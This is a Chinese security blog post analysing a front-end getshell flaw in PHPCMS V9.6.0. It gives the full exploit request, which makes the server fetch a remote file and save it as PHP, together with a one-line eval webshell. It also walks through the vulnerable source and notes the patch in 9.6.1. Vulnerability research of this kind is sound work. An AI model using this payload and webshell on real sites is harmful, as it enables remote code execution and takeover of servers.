p0's blog | 破 关注网络安全
PHPCMS_V9.6.0 前台GETSHELL
发表于: | 分类: 代码审计 | 评论:0 | 阅读: 2655

0x00 POC

url: /index.php?m=member&c=index&a=register&siteid=1  

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=

getshell.png

shell.png

其中http://192.168.31.131/test.txt内容为一句话

<?php @eval($_POST['a']);phpinfo();?>

0x01 代码分析

漏洞点在 /phpcms/libs/classes/attachment.class.php 文件的第 166 行至 172 行, download 函数中

class attachment {
    ...
    function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }    
    ...
}

大概说一下这个函数的流程: 经过全局处理后,传入的值$value 为:src=http://192.168.31.131/test.txt?.php#.jpg
然后使用 new_stripslashes 删除反斜杠,然后对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配 href 或者 src 的值,后缀检查这里只要 url 的最后是
gif|jpg|jpeg|bmp|png就可以继续执行下去了,这个地方是漏洞出现的一个原因,因为我们知道URL可以存在锚点,即#后面的内容,所以URL后面加上#.jpg。 经过匹配后的 $matches 的结构如下:

Array
(
    [0] => Array
        (
            [0] => src=http://192.168.31.131/test.txt?.php#.jpg
        )

    [1] => Array
        (
            [0] => src
        )

    [2] => Array
        (
            [0] => 
        )

    [3] => Array
        (
            [0] => http://192.168.31.131/test.txt?.php#.jpg
        )

    [4] => Array
        (
            [0] => jpg
        )

)

$matches[3]传入fillurl($matche, $absurl, $basehref)函数处理,fillurl()函数如下:

function fillurl($surl, $absurl, $basehref = '') {
    if($basehref != '') {
        $preurl = strtolower(substr($surl,0,6));
        if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
        return  $surl;
        else
        return $basehref.'/'.$surl;
    }
    $i = 0;
    $dstr = '';
    $pstr = '';
    $okurl = '';
    $pathStep = 0;
    $surl = trim($surl);
    if($surl=='') return '';
    $urls = @parse_url(SITE_URL);
    $HomeUrl = $urls['host'];
    $BaseUrlPath = $HomeUrl.$urls['path'];
    $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
    $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
    $pos = strpos($surl,'#');
    if($pos>0) $surl = substr($surl,0,$pos);
    if($surl[0]=='/') {
        $okurl = 'http://'.$HomeUrl.'/'.$surl;
    } elseif($surl[0] == '.') {
        if(strlen($surl)<=2) return '';
        elseif($surl[0]=='/') {
            $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
        } else {
            $urls = explode('/',$surl);
            foreach($urls as $u) {
                if($u=="..") $pathStep++;
                else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
                else $dstr .= $urls[$i];
                $i++;
            }
            $urls = explode('/', $BaseUrlPath);
            if(count($urls) <= $pathStep)
            return '';
            else {
                $pstr = 'http://';
                for($i=0;$i<count($urls)-$pathStep;$i++) {
                    $pstr .= $urls[$i].'/';
                }
                $okurl = $pstr.$dstr;
            }
        }
    } else {
        $preurl = strtolower(substr($surl,0,6));
        if(strlen($surl)<7)
        $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
        elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
        $okurl = $surl;
        else
        $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
    }
    $preurl = strtolower(substr($okurl,0,6));
    if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
        return $okurl;
    } else {
        $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
        $okurl = preg_replace('/\/{1,}/i','/',$okurl);
        return 'http://'.$okurl;
    }
}

这个函数就是除去锚点,所以取到的$remotefileurl的值为array('http://192.168.31.131/test.txt?.php#.jpg' => 'http://192.168.31.131/test.txt?.php'),这里去掉锚点又是漏洞的一个利用点,导致后面取到的文件后缀为php,而又没检测后缀,导致成功getshell,后面再说。

接着往下看:

foreach($remotefileurls as $k=>$file) {
    if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
    $filename = fileext($file); //获取文件名后缀,即php
    $file_name = basename($file);
    $filename = $this->getname($filename); //根据后缀生成随机文件名

    $newfile = $uploaddir.$filename; //文件路径
    $upload_func = $this->upload_func; //upload_func值为copy
    if($upload_func($file, $newfile)) { //直接调用copy函数拷贝远程文件
        $oldpath[] = $k;
        $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
        @chmod($newfile, 0777); //开发者怕shell运行不了还给了777权限,多贴心
        $fileext = fileext($filename);
        if($watermark){
            watermark($newfile, $newfile,$this->siteid);
        }
        $filepath = $dir.$filename;
        $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
        $aid = $this->add($downloadedfile);
        $this->downloadedfiles[$aid] = $filepath;
    }
}

总结一下,先对传入的 url 使用preg_match_all进行后缀检查,然后用 fillurl 去掉 # 后面的 内容,再用 fileext 取新后缀,取到新后缀后未检验,就直接用 copy 下载文件并重命名。由于逻辑处理不当导致漏洞,即典型的把验证放在最前面,而后面的操作导致前面的验证形同虚设。

现在找到了漏洞存在的地方,就要找个触发漏洞的地方。

download.png

全局搜索attachment->download找到几处调用的地方,以 caches/caches_model/caches_data/member_input.class.php 为例:

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
}

没有对$value过滤,继续找调用editor()的地方,用全局搜索没找到,观察好长时间也没找到,去看了看别人的分析才发现在get()函数里存在动态调用,这里可以构造调用editor()函数:

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage("$name 不得超过 $maxlength 个字符!");
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);

            $info[$field] = $value;
        }
    }
    return $info;
}

$func = $this->fields[$field]['formtype']; 这里只需使$func得值为editor就可以调用,我们看看$fiels的值是怎么获取到的,构造函数:

function __construct($modelid) {
    $this->db = pc_base::load_model('sitemodel_field_model');
    $this->db_pre = $this->db->db_tablepre;
    $this->modelid = $modelid;
    $this->fields = getcache('model_field_'.$modelid,'model');

    //初始化附件类
    pc_base::load_sys_class('attachment','',0);
    $this->siteid = param::get_cookie('siteid');
    $this->attachment = new attachment('content','0',$this->siteid);

}

就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的,正好在caches/caches_model/caches_data/model_field_1.cache.php 文件里面找到合适的 field 名:

...
'content' => 
    array (
        'fieldid' => '8',
        'modelid' => '1',
        'siteid' => '1',
        'field' => 'content',
        'name' => '内容',
        'tips' => '<div class="content_attr"><label><input name="add_introduce" type="checkbox"  value="1" checked>是否截取内容</label><input type="text" name="introcude_length" value="200" size="3">字符至内容摘要
        <label><input type=\'checkbox\' name=\'auto_thumb\' value="1" checked>是否获取内容第</label><input type="text" name="auto_thumb_no" value="1" size="2" class="">张图片作为标题图片
        </div>',
        'css' => '',
        'minlength' => '1',
        'maxlength' => '999999',
        'pattern' => '',
        'errortips' => '内容不能为空',
        'formtype' => 'editor',
        ...
        ),
...

即当传入的$fieldcontent即可调用editor()函数,继续找调用get()函数的地方找到三处:

get.png

根据payload利用的是/phpcms/modules/member/index.php 中第135行的 register 方法:

$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);

所以只需$_POST['info']
content 字段的值有src=http://192.168.31.131/test.txt?.php#.jpg便可以成功利用,register方法就是在注册的时候调用的,所以最终的payload:

url: /index.php?m=member&c=index&a=register&siteid=1  

post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=

注意usernameemail不要重复,根据代码逻辑,重复了也会传上shell,但是不会返回路径。

0x02 漏洞修复

官网已推出补丁,升级到9.6.1即可。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/91/
来源:https://p0sec.net/

添加新评论

TOP